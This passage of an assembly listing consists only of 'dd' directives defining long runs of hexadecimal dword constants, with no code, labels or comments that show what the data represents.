		dd 9D29C191h, 635475C9h, 0A04F004Fh, 0AB2471B9h, 8976002Ch
		dd 0FC644CEDh, 4905EFA9h, 0F4B15083h, 0A1098C98h, 866225B2h
		dd 45220496h, 89890F31h, 13C351FDh, 0C0A29E8Fh,	0B3323C11h
		dd 85C70B41h, 891A0AF5h, 46C8B149h, 0BE8467BEh,	2101A230h
		dd 5022E981h, 416D8865h, 0ECE941F6h, 0E23A208Ah, 5E435C09h
		dd 0BBCC8032h, 0B016A24h, 0C319D09h, 6DBE7E14h,	68E224DCh
		dd 1C010A22h, 5487449Dh, 91515ADh, 530B9735h, 83661411h
		dd 0A69BFEAFh, 40B79545h, 2FC8FE00h, 24BA0368h,	27BA072Dh
		dd 7BB4D434h, 0A1BF09DCh, 9984D03Dh, 4D838BF5h,	129E4C92h
		dd 0AD90E9D3h, 6EBD8960h, 8BE2F5E1h, 0C2EA0D85h, 78796787h
		dd 7564611Ch, 6326E1C9h, 0D2EE80FEh, 492FBD5Eh,	0F8896221h
		dd 80245D33h, 0ECAC54CFh, 0EF7703FCh, 0B5D9C197h, 0CF5F87A0h
		dd 0A5290D80h, 162B1FEEh, 0CB11C8C5h, 0BF7F92CBh, 7AF30FAAh
		dd 0CF4877C0h, 0C52A72Ah, 880F1739h, 63D99E60h,	162C93C0h
		dd 0C952C851h, 0F5840E03h, 0E05AE1BCh, 0E3FFF718h, 0A3C04D5Ah
		dd 4B4D8DFFh, 0CF1D127Eh, 2370E836h, 0EF63F8Ch,	282F08F8h
		dd 0B8322B20h, 5E0E2DADh, 262EAEA1h, 2F0EE9h, 5847190Ch
		dd 73082C05h, 0F2633E00h, 5FD2CB56h, 0FAB7310Fh, 0FED8F6h
		dd 4885BD31h, 1587A232h, 0F6E76B08h, 20601D44h,	4A009477h
		dd 144C7DE2h, 44E95CBFh, 900700Fh, 56195DC5h, 961B420h
		dd 0FDEDA0C3h, 8602F0Ah, 0BA010E7Dh, 3E5BD270h,	38F95ADEh
		dd 0D09CB3E4h, 669B072Fh, 0C4EEF064h, 0A21D216Ch, 7589BDFBh
		dd 0B8C42Bh, 65DDCE1Ah,	0F9684534h, 0E22F8202h,	0A06AE95Fh
		dd 0F6DF81F5h, 56D10EFFh, 0E75DB58Dh, 512CFB3Dh, 303DB504h
		dd 4A38E188h, 0C89D8EA3h, 3CDC018h, 6826BBA6h, 35158252h
		dd 0BA5A2E8Fh, 5A33BDA6h, 6A0DF209h, 812CD878h,	138779E5h
		dd 944A28BAh, 2EEF8427h, 2172345h, 696AE19h, 3F406A92h
		dd 0EAB92C6Dh, 18D17D29h, 120C5E18h, 50B413B9h,	601541F1h
		dd 9297E11Bh, 45134095h, 0F5568216h, 51D39640h,	0F049002Ah
		dd 0B7C8D6B0h, 0D291830Fh, 0B8D373Bh, 8A625F05h, 134657h
		dd 0A84EECB1h, 0A289B513h, 112E77E8h, 6000E25Fh, 0D08190B0h
		dd 256A7257h, 451F617Ch, 0D9FCD911h, 0E8B7EB85h, 0B9D33E00h
		dd 208D89F2h, 0F86007D5h, 0A3C680FBh, 25505E61h, 0C0E7E2BCh
		dd 0DA4FF69Ch, 26A27C43h, 435DE9D8h, 0B6B11DEFh, 0B4F2E88Eh
		dd 0C4000B7Dh, 97175C10h, 6226C7F9h, 2339CE53h,	8903FCA3h
		dd 50434397h, 20C206AEh, 18EAFE71h, 0D12E805Bh,	200B487Ah
		dd 64B7676Fh, 0A9C2601Ah, 0F8180965h, 0B304BCCAh, 8AA588A1h
		dd 84272995h, 9FC2F0AFh, 6A7CAC1h, 66345149h, 0B659C10Dh
		dd 224999FEh, 3160025Eh, 6409FDB5h, 0F76800Ah, 0E4999781h
		dd 5005EAF1h, 0A31F59E2h, 0C6124062h, 89FC4420h, 16043B0Ah
		dd 2904795Ah, 0F0B04DB5h, 0B918E068h, 53F809FAh, 1B11CA1Dh
		dd 31E0088Fh, 77A46C99h, 0A3CA90BCh, 1DFE138h, 0DB1359Dh
		dd 6072518h, 317520CEh,	0D41F31B0h, 3C2CFB78h, 750B9BC8h
		dd 0C53C142Ch, 2823E518h, 5A7E5097h, 1018402Dh,	0FFFA8h
		dd 23C0EDB5h, 9C85A177h, 2525C773h, 71811A28h, 181B791Dh
		dd 2DB801B2h, 0F45E76FBh, 394A312Eh, 0EE4A7E9Dh, 884A0328h
		dd 69498D33h, 8C3D1C23h, 204D9020h, 9170181h, 0D0461995h
		dd 0B42339E9h, 0B801DCFFh, 8C62F0ABh, 5B6C5EBAh, 59B06D2h
		dd 96438917h, 9718A77h,	0B999BF81h, 0E733167Ah,	7B3114E2h
		dd 38AC203Bh, 65056B52h, 9444F8F2h, 62B1A009h, 871471B1h
		dd 0F0A3BB60h, 0B5096F32h, 592E2520h, 0BF3D7361h, 2D4AE1A6h
		dd 0C3474B9Ah, 0FCC8C6E7h, 0C085C67Ah, 0C1C28166h, 0D6D23F4Bh
		dd 3DE979C8h, 0E92F20CAh, 579076CDh, 241FB123h,	0E9CF0633h
		dd 0B79711D4h, 0D7D505BBh, 6075F5E9h, 69D925F3h, 34020190h
		dd 0F6CD76h, 49069375h,	0E9E0D5E4h, 601FC066h, 0B4C917E0h
		dd 2D4D041Ah, 0E961000Fh, 0E3FFF185h, 0EE013265h, 0E64FD8BEh
		dd 7E07DDC4h, 0B807DD10h, 0ED7908BFh, 2B0262CCh, 482AC1BDh
		dd 80022CD9h, 21378509h, 7562451Ch, 0FAE109FCh,	27680614h
		dd 8E1DFE6Dh, 13801991h, 4E42CFD0h, 0AD5A2663h,	5A893030h
		dd 0BA665329h, 829741FAh, 24FA7D43h, 89FB4013h,	27CCAB8h
		dd 0E868DEE4h, 0A35EA395h, 3D31C800h, 0B04067A0h, 18C725FCh
		dd 65611585h, 23142E5Fh, 35260019h, 3F2308FCh, 2101A3A0h
		dd 0CA346A80h, 96C2A5ACh, 36101050h, 0D0C0493h,	265B1409h
		dd 6208B307h, 8C660001h, 4C3F6DBh, 0FC456790h, 56AF302Fh
		dd 0B8115268h, 6AE19CA8h, 109F6004h, 7D64BB83h,	0E080A181h
		dd 472D2014h, 0AC119B68h, 4E6EC18h, 1E841EB0h, 61684F07h
		dd 8B82F26h, 867210ADh,	987DDC4Bh, 562830E6h, 75C08518h
		dd 410275A6h, 87649868h, 0C82AB4DBh, 4C58F9D0h,	0E7A43968h
		dd 4120802Bh, 17E09D8Bh, 0E9045BE2h, 5457E5E1h,	0C7C2150Ah
		dd 0BB9A7403h, 20C430Ah, 19850507h, 41D88A16h, 2E47A102h
		dd 948BB594h, 80674211h, 0F7976845h, 0DD9240A5h, 67990F43h
		dd 280CAB02h, 6032750Ah, 0A1A3B46Dh, 0C32524Eh,	34D295C4h
		dd 90F94C8Ch, 0A8C961BCh, 0EBEB322Ch, 18FF1225h, 187DAC3h
		dd 0BA1AFAE8h, 0DC37D3DCh, 0E2008CCAh, 53D94EDFh, 9A11950Bh
		dd 645A0A7Eh, 0F5F35FFh, 8925D78Bh, 92091D25h, 2064F5BDh
		dd 85C359Bh, 9F76C86Bh,	68B95F01h, 8210EC13h, 15632669h
		dd 20B56BD8h, 80090E0Dh, 0D202F9BDh, 4A852CB0h,	1B467E3Fh
		dd 0F38B007Dh, 0A6B95F21h, 0BF250F81h, 10C4D7h,	5B445DFEh
		dd 0BDD0718Dh, 0B0D9B38h, 827FC9h, 86B349C5h, 0A4E9269Fh
		dd 7ABF4028h, 0CA148BC4h, 4B8BDB33h, 18BA197h, 6219501h
		dd 3F0F4000h, 640B0709h, 835D188Fh, 0F80425C4h,	800046B7h
		dd 8FD21EC5h, 0B2EF051Fh, 0C1FB8355h, 1420841Eh, 0F28F7140h
		dd 0FC9C92EAh, 0BB33007Ah, 0B3FC4627h, 1F014AEBh, 0D3D4FD30h
		dd 0B11129E9h, 2E5FDD82h, 247DCD21h, 0C18C6003h, 12B1CEh
		dd 3AB86661h, 8BAE178Eh, 0C70C03F9h, 3D33A481h,	0D38303FFh
		dd 41528B8h, 8BC33293h
		dd 74C30CE4h, 815D4184h, 69244EEDh, 1B83518Bh, 33447541h
		dd 0CA68902h, 58904F5Dh, 2614594Bh, 0F5F82885h,	3239D264h
		dd 6AC78A10h, 33A2701Eh, 5CFE47E3h, 8744390Fh, 0F47E4022h
		dd 4B4DC90Eh, 88888E4Fh, 0CED8C01Dh, 66E4FAF3h,	2F574C00h
		dd 9EA2BFA1h, 0F94524D6h, 8D0FE2B5h, 0D565915Ch, 0D6BFB755h
		dd 6E8798DBh, 1CF7D1EFh, 1016A7AAh, 357E8Bh, 4008F344h
		dd 0B86224A2h, 5A1B82B5h, 41138FB9h, 4855D704h,	0D4A90B0h
		dd 0D40165BBh, 40BA8685h, 0E8C334B6h, 0CE5FE8EAh, 0FBE0ED0Ch
		dd 564D5868h, 0DF0A7526h, 0F908E109h, 0EB89A98Ah, 0F51FF92Bh
		dd 42043D88h, 0B5111AF9h, 0E220D00Bh, 499E7956h, 0B250D4D3h
		dd 0CEE24B6h, 0A2FB1248h, 0BA007A1Ah, 0B3D13848h, 0E63508AEh
		dd 88B1017Ah, 0BC056811h, 22863033h, 3A7F9195h,	0E0B19F56h
		dd 382E1C31h, 1567835h,	637845E0h, 74706500h, 206E6F69h
		dd 0EC66E649h, 616D2872h, 3CC0900Ch, 73B9656Ch,	8202C9Bh
		dd 74A964E3h, 36CEF768h, 77E66C71h, 677E697Eh, 647F637Ah
		dd 0BE28736Fh, 4061E57Eh, 0FE78A4ADh, 6D2ACE2Eh, 68542083h
		dd 3D6B163Bh, 9B75BF79h, 0FD040D0Ah, 70280131h,	62734698h
		dd 521D5443h, 0EC7F2B4Ch, 0D9699ED1h, 0B664971Eh, 2AA18FA0h
		dd 3C087970h, 62BF696Ch, 64726185h, 42361029h, 5465561Fh
		dd 0DF9F9973h, 7225DE3Dh, 8780431Eh, 4E496B63h,	1C640FA9h
		dd 5455234Fh, 6F725087h, 0F211DFAh, 0F193B6Dh, 7469E601h
		dd 0C80F3DA1h, 50CA5B1Eh, 1D188E8Dh, 90043B1Eh,	2D322B6Dh
		dd 0AD3E0F79h, 2210C4A4h, 6865A3D7h, 60C38025h,	2427647Dh
		dd 0AE7C4E2h, 2C07EC19h, 0E6164D9Bh, 8D08248Bh,	0D94A3032h
		dd 1087E832h, 35FDE2F0h, 4AE1FC90h, 4841AA4h, 8D682C34h
		dd 51E2106Eh, 0E1F49D35h, 216B5964h, 2A60C4F8h,	13D0C46h
		dd 3ECD3141h, 16E4CA27h, 0DA29532h, 741210B9h, 958B41F3h
		dd 819B34D1h, 42F8C225h, 0B30F9A2h, 25C4958Dh, 28345230h
		dd 3FD4C340h, 0DDB6893Bh, 48ED6675h, 8B885540h,	0C313A89Dh
		dd 293ABC4Ch, 1011A365h, 79F08850h, 87FC0854h, 109C5890h
		dd 125CE234h, 0DC94F012h, 0AFAD0DFAh, 0CD416811h, 0C885A49h
		dd 0F44433F8h, 90120A37h, 68F0C8FCh, 120A4A88h,	1E1C61E6h
		dd 25075334h, 2AF4E882h, 656A2458h, 2D082440h, 0DE033919h
		dd 98CC0112h, 88C15E8Bh, 4008F05h, 159B656Ah, 0B5BA66h
		dd 0F6805F2Fh, 0BDC78178h, 0C0406B5Ah, 2BC5C1CEh, 8BFC0FC0h
		dd 0DA40070Ch, 70CFD8B4h, 290BE9ECh, 872191F4h,	0C1F0F19Eh
		dd 788C1A0Eh, 10DA6034h, 36F28724h, 553CBE03h, 0E0512E8Eh
		dd 301BEDF3h, 7900D4Fh,	670733BBh, 0E8833985h, 0F881F590h
		dd 0BF944BE4h, 5428DD09h, 3C0EF30h, 5D3FF9DFh, 0DDBF1B00h
		dd 0AF277AECh, 0AC9D022Eh, 0E90B87D3h, 8E391D80h, 0E0026EAh
		dd 8611FEABh, 3BB2DDDh,	17A3A919h, 6E728AE9h, 66C7B900h
		dd 0D823D3E8h, 25A800A0h, 48CABCC8h, 3C00CB28h,	6BE2820Ch
		dd 52F7B613h, 0FCE00452h, 10C0F9C1h, 37AF8216h,	53DF37DAh
		dd 0A3948021h, 0FE078B46h, 181558BBh, 39E0C2h, 7874B3F6h
		dd 0AC48FF67h, 28171988h, 1F49021Ch, 0C0505394h, 0E07974B2h
		dd 0DE21C04Bh, 3E2F3DC8h, 0DD371906h, 31180353h, 0FB391F3Ch
		dd 374183CFh, 0C2353BDh, 41C88D18h, 7D30C539h, 3362513Ch
		dd 7506018Eh, 0B45785EBh, 0DF5DDCD6h, 0FADADB00h, 7BC5D35Ch
		dd 0A291C26Ch, 98AF7166h, 0F0D88200h, 5800DFCCh, 2E01CE99h
		dd 0DCED3B23h, 6BABC021h, 0D676FBB5h, 19C69F33h, 0DA88E847h
		dd 0A95101FFh, 193B0507h, 5F54C406h, 0AB00F5F8h, 0A6137696h
		dd 0F61B129Eh, 4F3F3879h, 55087AB0h, 837D1C6Eh,	1B93803h
		dd 823A2313h, 0D94CB153h, 12AAB882h, 0E0911BBBh, 63A6110Eh
		dd 941E4886h, 0EE40F099h, 160D888Bh, 3B9EACA8h,	0FB69D400h
		dd 1D6B7DBBh, 0D8061891h, 0DB524809h, 60303B1Ah, 82E01020h
		dd 0BE373A97h, 0C631EB3Ch, 0D14E9C18h, 6B219E62h, 5DE0CE06h
		dd 99190A71h, 3C8804EFh, 0E48F833h, 0DA18409Fh,	0B7303CBAh
		dd 367470B5h, 22530C35h, 0B2F9283Ah, 0F0CAF400h, 6715036Dh
		dd 273B31F8h, 0C840BFC1h, 0E801D655h, 60DF24BAh, 9C462502h
		dd 41B60169h, 7CC5DC5Dh, 5E905138h, 301091E5h, 81050h
		dd 416B2782h, 76465B71h, 1D54E022h, 9F593FCh, 74109861h
		dd 0BCAA5116h, 0E96956C0h, 0EE86B706h, 78B9079Fh, 87EB00A3h
		dd 72D6D4CAh, 4A609951h, 0FFE726B0h, 2C1C4802h,	820EDF22h
		dd 0FD0F7216h, 98717400h, 0A2C4E0Ah, 0C7FC54A7h, 296280C0h
		dd 0C8793E16h, 0C1BE1E0Fh, 0B79746C9h, 1C24E121h, 59DE683Bh
		dd 0D622BC88h, 7A165801h, 17FBCF42h, 0A67C0C20h, 0A8E249D4h
		dd 60592841h, 0C0E698F8h, 7B7C4321h, 0FC14A14Bh, 3A0CD0DFh
		dd 373C153Fh, 20A024D0h, 820E7610h, 0E804B93h, 80515A46h
		dd 0EE15D87Fh, 811458E2h, 7F7C3F4Fh, 0EC983043h, 21A4C127h
		dd 9B3BF09Eh, 416569C1h, 28ECB3CBh, 8DDD00FFh, 0DE05AFC2h
		dd 3C30A0FBh, 0BC13291Bh, 0E4590027h, 0A8E3D7Eh, 444879C6h
		dd 886D8904h, 105E2868h, 0E81FBC43h, 96406A9h, 599F2E2Ah
		dd 0E0C25D0Ah, 0FE80C066h, 0D706E34Fh, 1761C01Dh, 45662B4Eh
		dd 16B88E09h, 0DC1C191Ch, 0F026F0Ch, 0BED5AD55h, 6E9882F7h
		dd 43641031h, 96182183h, 826A1BCh, 444232BEh, 7DB2001Dh
		dd 3B304DB6h, 14339117h, 9CB101BAh, 94571B2Ah, 0E008BBFAh
		dd 0BA0C5921h, 75CE678h, 0AEE1DD68h, 0E5E9F0B1h, 0BC98DE6Dh
		dd 588522h, 0F3AA7910h,	807396B4h, 0F34614Dh, 76391CC7h
		dd 52880018h, 47CF2687h, 0AF76069Ch, 0DB099161h, 8008D398h
		dd 0A194432Ch, 0FCA000BCh, 4F11E751h, 9F26D0D6h, 6B823C02h
		dd 9E09636Ah, 0B9902320h, 0EE50539h, 84086CA8h,	0BAC1CF4Ah
		dd 18129CAEh, 956882Fh,	6F01BA00h, 95DE2CB5h, 97A409CFh
		dd 11013773h, 0F0626AC5h, 82001805h, 0EC8F9513h, 92D59B1h
		dd 0BE49107Ah, 8B2F48Fh, 16A482D0h, 2360B81Bh, 0F014890h
		dd 29CACBAh, 54882818h,	3BA0407h, 90FD9F83h, 6F1BA11Ch
		dd 9EA083A0h, 3200A77Eh, 0C7613DCDh, 4CEE1C3Fh,	84C701Ah
		dd 0D03CA22Bh, 16008A45h, 5802D45Dh, 0FF40E7Dh,	74B1A3E4h
		dd 3389C09Ch, 3EB44B1Ah, 5361B503h, 0FA9E69h, 0D6B117A9h
		dd 37C78014h, 97642F90h, 0B4D00C08h, 0D6A93Dh, 0E9D45AFFh
		dd 21789EF5h, 51D0E8A0h, 0BC052098h, 56DF0C13h,	7172A440h
		dd 6DC5579h, 0D3FBDA87h, 0C4A40857h, 79699803h,	0D0CDE6B4h
		dd 98437295h, 15D83084h, 8AA69DD9h, 8BCDB901h, 0EC12B7B0h
		dd 0C0649062h, 0D6AB6063h, 9780230Eh, 7A1211h, 82A0D6A3h
		dd 2F9B715Ch, 0D19A172Ch, 41349E00h, 720BB34Ch,	7431C0A0h
		dd 0BB276CFAh, 2CF8FC75h, 0B9F55B00h, 383EAB04h, 9DE0270h
		dd 77B45833h, 0F739E58Ch, 80A83A5Ch, 0C83DD424h, 301E0198h
		dd 2CA3BB8Bh, 2101F33Ch, 0C47CC21h, 11EC9055h, 83D10040h
		dd 69C785F0h, 411C6E30h, 807DDEBBh, 20143DF8h, 54FBA4F7h
		dd 0D684B9h, 3F6E1651h,	3717774Bh, 0CB083B66h, 49F82C21h
		dd 6510678h, 0D1F8A1DAh, 0D0EFC101h, 58861A83h,	3C080C45h
		dd 0BAA1CF4Ch, 18229CB0h, 0B588829h, 233F08B8h,	213B98ADh
		dd 1FBFF919h, 2B0F9Ah, 8CEB349h, 36E49833h, 7173DA00h
		dd 0D7D658AFh, 44E4A7BAh
		dd 0C9DF600Fh, 0E34E00B3h, 10F4094Ah, 0D8096EB1h, 405E3676h
		dd 80143B3Ch, 99C0203Ah, 23459AFFh, 32AC1EC4h, 4D1E03BEh
		dd 47B5FC34h, 0F094FB98h, 72F6B53h, 55110D03h, 0EE3722B4h
		dd 25D7BA1h, 10849CD4h,	20602814h, 84B96F08h, 91E8B500h
		dd 5051F76Bh, 8CA9D8FBh, 7316560Eh, 0CE88513Fh,	164EFD80h
		dd 560DE3Ah, 81C5205Dh,	61D04659h, 0DF0C99Dh, 0C61D3896h
		dd 19CBD60Ch, 0F6C7A22h, 807F1154h, 9685C388h, 0A045AF39h
		dd 0BCC1B1F9h, 9E1BDBAh, 6E02D826h, 6FDC5279h, 95106931h
		dd 9037966h, 0E021A7F9h, 0D5190064h, 2A2BB567h,	0A9007D29h
		dd 3B194B5Dh, 24927F64h, 112CC414h, 0BA0E8047h,	8CFA9CABh
		dd 532C44h, 0EE02BA06h,	76C53E59h, 0C1C183E4h, 0C6FCB3F7h
		dd 9078450h, 46490E35h,	0D9206C4Dh, 0E52F40D5h,	3B615C06h
		dd 46E8B741h, 2BB84E06h, 7457DC14h, 92806D88h, 261C7963h
		dd 0FE6F0042h, 77DDF6A5h, 98B0FB18h, 2C21DC22h,	824BF88h
		dd 2A9DC1FDh, 7866A3CCh, 0BA22300Bh, 0F03B9CA8h, 3ABC6D58h
		dd 5FC88184h, 8A1258E1h, 0CC60ABFDh, 0C65E44E0h, 4A062A14h
		dd 5C69F120h, 0A29C3319h, 0D4163028h, 21821C04h, 0CCB43C23h
		dd 7A5CA9h, 8C64CC50h, 0FD6AC04h, 0D629F80h, 0D6A43820h
		dd 1F561F44h, 5BE2C99Fh, 311E98C5h, 62491622h, 51680014h
		dd 77B9396Eh, 0B03B9E0Ch, 0FD8E963h, 58E2255Bh,	0DB82BE82h
		dd 0C0F0845Ah, 3DE5D39h, 0E7E080B2h, 0A42840F5h, 616C4420h
		dd 38C59728h, 4C12D0C1h, 208473F0h, 0B0D83C58h,	3F007A88h
		dd 84D54F69h, 9CB907h, 0E0A4F928h, 98DC51BAh, 0DC36862Eh
		dd 27AC4102h, 1378C053h, 5DC600E2h, 82B885DCh, 89CCE808h
		dd 19755179h, 31237C41h, 0FD4BCD15h, 80808956h,	9C34C9E8h
		dd 0C16634F0h, 50D8F618h, 3BD900C9h, 4AB1CF0Ch,	0A8FEEBC0h
		dd 6C14134Fh, 86947850h, 1E30EEEAh, 0C808712h, 0A010D70Ch
		dd 8C563B27h, 8BBC1840h, 3FE0B6C0h, 1078195Dh, 7B0CBBF4h
		dd 9FE83832h, 1090E601h, 55D75FB6h, 0F93BC080h,	7C52F4F3h
		dd 293AC332h, 572410D2h, 0B408E589h, 20BE12EFh,	4E4CF69Dh
		dd 0D0821D00h, 55FDA1D2h, 88260157h, 5ADDEDCh, 8590205Eh
		dd 4A78C00h, 862C0DBFh,	0B1900041h, 0C215C70Ch,	5BFE4A8Fh
		dd 8BA90103h, 0D0919969h, 73E9A47h, 8937E4Bh, 0E3E81276h
		dd 3234FDE0h, 5F465803h, 0D85BB01Bh, 1852DBBBh,	307CA1FEh
		dd 1E73C8BFh, 0D0E5EF00h, 0A8301B60h, 0B1DF00AAh, 0F3960BB9h
		dd 0DC01D3CCh, 71C82694h, 70DCF914h, 0D74A0042h, 0BFD8C3C7h
		dd 0C5030FB5h, 0F8CE0117h, 0C204B0DBh, 934B3061h, 1C2E08A0h
		dd 36036C1Fh, 0C6DDDF40h, 7FC08B89h, 0ACC80092h, 6670D2DBh
		dd 410147DCh, 0CD63851Dh, 8345375h, 0D277005Bh,	5603DB8Dh
		dd 7E766011h, 0DE49600h, 866C1D62h, 9F9E3AE3h, 0C26A1200h
		dd 44EA93C4h, 78154600h, 19BCCCAh, 2C4F004Eh, 6FAEBF9Ah
		dd 9600B606h, 0FCDF8615h, 0E7746Ch, 7E512C27h, 9980D832h
		dd 0CA7094A0h, 8C71072Ah, 0A4D94628h, 87242E06h, 11188Eh
		dd 0BB20D264h, 0BC781D98h, 0E26A53Eh, 0CF42CA0Bh, 2808C0D5h
		dd 7F8BA358h, 0D8700074h, 0E26DBAAh, 171E34F8h,	56808D9Ch
		dd 0A303C50Ah, 0FB940221h, 5E575C79h, 0C30F4C68h, 2A759903h
		dd 0A8A960F9h, 18384E50h, 888AC93Fh, 371DB0ACh,	0FAC073A8h
		dd 8E50F42Bh, 0B67D4Ch,	0A5ADD306h, 0F11A2C77h,	0C4B02007h
		dd 0C650DBC7h, 7F336Eh,	0B5873893h, 22DD82FEh, 7A919B03h
		dd 80E169ABh, 64EC32h, 3C0F104Dh, 0CC113680h, 94B71A00h
		dd 0E0956819h, 0BD6D1E9Bh, 0AAC900A4h, 2E26C43Ch, 0DC89B700h
		dd 0AE53FD52h, 0CD797Ah, 121CB2F3h, 6E393775h, 6A484000h
		dd 9A4CF53Dh, 68060290h, 980B05EEh, 744B7C41h, 8F0F632Ch
		dd 0ADE395DAh, 50785Eh,	3B6A15ECh, 0EB017425h, 1A7EA7A6h
		dd 4D021182h, 880C420h,	0F9A3D4D2h, 0C7A23401h,	82071B6h
		dd 8E1D079Eh, 0B05F9463h, 8DA55A29h, 72A77600h,	0C0F4C3DAh
		dd 48F90026h, 211F1DC4h, 5948F72Dh, 0F56512CCh,	8A821802h
		dd 0D0AC4068h, 0CE49046Ch, 80E9DEF3h, 0D777A8C4h, 37B2B58h
		dd 1D4276AEh, 3A38A013h, 4941016Fh, 4CF40F7Bh, 5362C843h
		dd 76074D00h, 7116829Fh, 51C639C9h, 8702AD02h, 64CA6593h
		dd 0DEBF0540h, 43D30F0Fh, 0C850A063h, 3D718E7h,	589F6F4Fh
		dd 38F8EFD0h, 0F600B7FFh, 78398096h, 0C80218h, 52889EFEh
		dd 0EC192181h, 0CE00F37Fh, 26858C6h, 3D82D8h, 0ACF9EB5h
		dd 1FE1C2F6h, 3E00F990h, 0ACF79D18h, 0A04AFA52h, 3CE280h
		dd 0DCDE379h, 601C32C9h, 1080161Eh, 89FDD2C0h, 0F3AC5Ch
		dd 5D6817F9h, 5FCF8522h, 0FACC0101h, 8F8B189Ah,	644E7C20h
		dd 0CC06E1E2h, 49008474h, 0FB8E2080h, 8CF661h, 7678941Fh
		dd 1D356CC4h, 5405DA09h, 3FB3004Ah, 0FE06E922h,	5ED00FBBh
		dd 260059B2h, 0C2778601h, 0B9F46C00h, 810E90F0h, 4478C26Eh
		dd 0FC00F7FEh, 10B7255h, 1D9766C1h, 61258D96h, 0C585E82Eh
		dd 0A01BAD04h, 88A0A1ACh, 838B0053h, 70FD3A2h, 9C075727h
		dd 23DCAB8Ch, 0C06333F3h, 97B394h, 0BB0BC334h, 3C8E445Ah
		dd 3C6DC1Eh, 874C6280h,	3FDDE545h, 0C4D4B7AFh, 0A3E834h
		dd 0A051E390h, 0F89E193Ch, 0B3543D78h, 0C5006B8Ch, 0FF24497Ah
		dd 0CA3A5CAh, 0F303BD8Ch, 0C8602018h, 5812B829h, 0ABE000F7h
		dd 0C09B2DDAh, 50902EAFh, 4C669704h, 0ECC0E419h, 44E317h
		dd 0CAFBF95Eh, 50817FA3h, 0CF032603h, 0D6B48F21h, 6E930039h
		dd 35521358h, 17005B1Fh, 3681AFB7h, 26336705h, 8E50C83Bh
		dd 4603A6B0h, 911F93EBh, 0DD82D57Bh, 40EDAA9Eh,	0CF929Ch
		dd 0A88637B2h, 0E8AB57F5h, 8404880Bh, 0E60700FFh, 0BFF891h
		dd 0B02B48CAh, 0E76FB382h, 377A4900h, 5FD6CEAFh, 2970C494h
		dd 67B8C032h, 8800BF02h, 0E468E76Bh, 0A6D2137h,	8F69FC19h
		dd 0AA3300C5h, 12C4567Bh, 0D981BD00h, 0CED8FD31h, 0E41E00EDh
		dd 0BFF03C52h, 8978679Fh, 0B4ACDA01h, 58C44A41h, 0BA49C06Bh
		dd 0D900EFFAh, 0AEA2E18Eh, 0F5A7ACh, 0A8BEDB9Eh, 0F40AA0F1h
		dd 59EFB800h, 25D256D5h, 76D730E6h, 0F902C5F8h,	97E1342Eh
		dd 394A6102h, 3850B5h, 72709AC1h, 0F6F51E41h, 79A9C500h
		dd 1244A7Bh, 0D17803h, 0A1058381h, 0E3284BB0h, 0AADF3100h
		dd 305DB365h, 0D6393BEBh, 7FCA6E01h, 708FCD25h,	0BB2CBD24h
		dd 41802C73h, 0D23D9D94h, 0B032076Dh, 0A0AB4378h, 0F8AAACD1h
		dd 0F7722500h, 0CDD3E945h, 55C000A9h, 31C78ADEh, 1500611Bh
		dd 6CC3757Fh, 0D4C641h,	4E5D0F1Fh, 5CB9599h, 594C558h
		dd 8039ACA4h, 1F290880h, 5467882h, 98BF963Fh, 184F8006h
		dd 0A00B01Ch, 0CA0CCFE5h, 0B4387FACh, 0E3598900h, 8D272822h
		dd 2B7CB880h, 48138FDCh, 0AE1D2DC0h, 0FFACAB40h, 1EAA207h
		dd 43A96305h, 841ECE26h, 0E259A349h, 0DA8E2840h, 0C17832DCh
		dd 1040784Bh, 0FBDF66F5h, 0B29F656h, 7728A3C6h,	72788E87h
		dd 18403F72h, 0F008AC2h, 5AD57C5Eh, 2649A8h, 7524F9ABh
		dd 0C3E648FAh, 0B0487E6h, 7B953880h, 7AB0E4h, 233D1840h
		dd 333F6F77h, 0D8E864E8h, 0BA4AD471h, 57E05091h, 1FD900D2h
		dd 97B853DAh, 0F5E849E8h, 10B93728h, 0BAFDD507h, 12B1677Eh
		dd 8FD5F80h, 135E70h, 0F5D46B1Bh, 52095B4Eh, 4BAF0600h
		dd 806A3129h, 0E8A4FECAh
		dd 4F780044h, 175205D4h, 3F038755h, 4167ADCDh, 7AFE0003h
		dd 6F64A2FBh, 0FD029F4Eh, 8D147812h, 94C680C2h,	7FABCFA7h
		dd 1B8000DFh, 0DCBFB76Dh, 0F6000E43h, 7A0F3787h, 1411817h
		dd 3F65772Bh, 43D5D4D9h, 0D0003978h, 0AF1BCA9Ah, 7C2FD6FCh
		dd 73490050h, 32A57F3Fh, 9700CC45h, 0B9193E3Ch,	24E4DEBCh
		dd 9E98489Fh, 0DA870057h, 0F289561Bh, 37CF821Eh, 952906BAh
		dd 7A29EF78h, 0BC61015Dh, 39DD0A06h, 14082AF0h,	0CD32800Dh
		dd 6886C51Fh, 48CFB0A6h, 20418E95h, 22773E67h, 329D094Bh
		dd 605A6F1Bh, 1F3F9674h, 0C63B1E9Ch, 3C221310h,	0B3700D79h
		dd 0D6FE5313h, 46E1C94h, 1855E00Ch, 0A4B3B10h, 3F677044h
		dd 448A7644h, 89445CA6h, 415A44EDh, 814624Ah, 75915E5Bh
		dd 96BB200Bh, 1A3F4000h, 0CA2423D5h, 0E143789Fh, 62A7C02Fh
		dd 0D6420063h, 578886BEh, 0B00093Eh, 908EB4D9h,	212355Fh
		dd 835EF014h, 0BCE07572h, 5200E162h, 0C95BFEE0h, 2859EA36h
		dd 3EF470B7h, 0CE804840h, 0F4119675h, 0A6E04B79h, 7F464E00h
		dd 0B38D3E93h, 60FE0008h, 0DC85F168h, 0FB01F8D2h, 427B88EBh
		dd 56C63F96h, 25A454h, 0AE571B0h, 1C021BFAh, 0C2C4E930h
		dd 2C6697h, 246FD6B9h, 940474CAh, 0B6688D01h, 0DB32E65h
		dd 0A1A6F640h, 6FC10195h, 8DD2EF6Eh, 6C6999h, 0CF731D4Eh
		dd 59F66A14h, 0D6006CFEh, 0E7C2543Ah, 3000E8D8h, 5EA3C8AAh
		dd 1ED50633h, 0CF5589B9h, 0B607D2Eh, 20A544F4h,	1E699517h
		dd 0F0056E0Ch, 0EBAE0054h, 0A81A1655h, 59006FBFh, 0AA5CD782h
		dd 0A72249h, 994BE398h,	1A73ADBEh, 70953000h, 0F8297466h
		dd 0EFAA005Dh, 0B489F3D8h, 0A000C005h, 0C6721002h, 3B636D92h
		dd 9F003D35h, 24B6D2DAh, 8461384Ah, 0B5457E48h,	0B0636861h
		dd 0F3F2150Fh, 0C00A7100h, 6F246265h, 803B6F95h, 6A2499F9h
		dd 74F802E9h, 387203E1h, 7D79CCF3h, 0F2FC09E0h,	0C02A07B0h
